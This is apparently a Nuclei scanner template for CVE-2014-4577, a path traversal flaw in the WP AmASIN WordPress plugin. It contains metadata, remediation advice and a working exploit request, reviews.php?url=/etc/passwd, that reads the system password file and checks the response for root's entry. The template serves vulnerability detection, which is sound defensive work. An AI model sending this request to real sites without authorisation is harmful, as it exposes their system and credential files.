id: CVE-2014-4577

info:
  name: WP AmASIN – The Amazon Affiliate Shop - Local File Inclusion
  author: DhiyaneshDK
  severity: medium
  description: |
    Absolute path traversal vulnerability in reviews.php in the WP AmASIN - The Amazon Affiliate Shop plugin 0.9.6 and earlier for WordPress allows remote attackers to read arbitrary files via a full pathname in the url parameter.
  impact: |
    Attackers can read arbitrary files including configuration files, database credentials, and sensitive system files, potentially leading to complete site compromise.
  remediation: |
    Update to version 0.9.7 or later, or remove the plugin if no longer maintained.
  reference:
    - https://codevigilant.com/disclosure/wp-plugin-wp-amasin-the-amazon-affiliate-shop-local-file-inclusion/
    - https://wpscan.com/plugin/wp-amasin-the-amazon-affiliate-shop/
    - https://github.com/superlink996/chunqiuyunjingbachang
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-4577
    cwe-id: CWE-22
    epss-score: 0.03749
    epss-percentile: 0.88463
    cpe: cpe:2.3:a:websupporter:wp_amasin_-_the_amazon_affiliate_shop:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: websupporter
    product: wp_amasin_-_the_amazon_affiliate_shop
    framework: wordpress
    publicwww-query: "/wp-content/plugins/wp-amasin-the-amazon-affiliate-shop/"
  tags: cve,cve2014,wordpress,wpscan,wp-plugin,lfi,wp,wp-amasin-the-amazon-affiliate-shop,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"/wp-content/plugins/wp-amasin-the-amazon-affiliate-shop/")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/wp-amasin-the-amazon-affiliate-shop/reviews.php?url=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202343baf705380d1f25c30264d43f5c6361971f3c28c693139df5b0c58b9fd1cd022100bb06846d0c197fd1201c6ffe055bdf7ead4c6a0f5c11e90e9531efdbbc0fa680:922c64590222798bb761d5b6d8e72950